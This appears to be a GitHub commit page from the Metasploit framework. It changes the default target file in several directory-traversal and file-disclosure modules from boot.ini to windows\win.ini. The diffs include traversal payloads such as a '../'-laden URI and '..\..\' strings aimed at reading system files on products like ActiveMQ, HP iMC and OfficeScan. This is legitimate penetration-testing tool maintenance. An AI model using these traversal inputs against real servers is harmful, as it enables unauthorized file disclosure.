Skip to content

Commit 28aa742

Browse files
committed
Land rapid7#3751, @wchen-r7's [FixRM rapid7#8836] Use windows\\win.ini vs boot.ini
2 parents 422d6bd + c86d01a commit 28aa742

24 files changed

+25
-25
lines changed

modules/auxiliary/admin/backupexec/dump.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ def initialize(info = {})
5757
[
5858
true,
5959
"The remote filesystem path to download",
60-
"C:\\boot.ini"
60+
"C:\\Windows\\win.ini"
6161
]
6262
),
6363
OptString.new('LPATH',

modules/auxiliary/admin/http/axigen_file_access.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]),
4747
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
4848
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
49-
OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ])
49+
OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ])
5050
], self.class)
5151
end
5252

modules/auxiliary/admin/officescan/tmlisten_traversal.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def run_host(target_host)
4040

4141
res = send_request_raw(
4242
{
43-
'uri' => '/activeupdate/../../../../../../../../../../../boot.ini',
43+
'uri' => '/activeupdate/../../../../../../../../../../../windows\\win.ini',
4444
'method' => 'GET',
4545
}, 20)
4646

@@ -52,7 +52,7 @@ def run_host(target_host)
5252
http_fingerprint({ :response => res })
5353

5454
if (res.code >= 200)
55-
if (res.body =~ /boot/)
55+
if (res.body =~ /for 16-bit app support/)
5656
vuln = "vulnerable."
5757
else
5858
vuln = "not vulnerable."

modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def initialize(info = {})
3838
[
3939
Opt::RPORT(80),
4040
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
41-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
41+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4242
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
4343
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
4444
], self.class)

modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize
4545
[
4646
Opt::RPORT(21),
4747
OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]),
48-
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
48+
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'windows\\win.ini'])
4949
], self.class)
5050
end
5151

modules/auxiliary/scanner/http/apache_activemq_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info = {})
3737
register_options(
3838
[
3939
Opt::RPORT(8161),
40-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
40+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4141
OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])
4242
], self.class)
4343
end

modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def initialize(info = {})
3838
register_options(
3939
[
4040
Opt::RPORT(7181), # Also 7180 can be used
41-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
41+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4242
OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10])
4343
], self.class)
4444
end

modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def initialize(info = {})
4040
[
4141
Opt::RPORT(8080),
4242
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
43-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
43+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4444
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\
4545
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
4646
], self.class)

modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
[
4040
Opt::RPORT(8080),
4141
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
42-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
42+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4343
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\
4444
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
4545
], self.class)

modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
[
4040
Opt::RPORT(8080),
4141
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
42-
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
42+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
4343
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\
4444
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
4545
], self.class)

0 commit comments

Comments
 (0)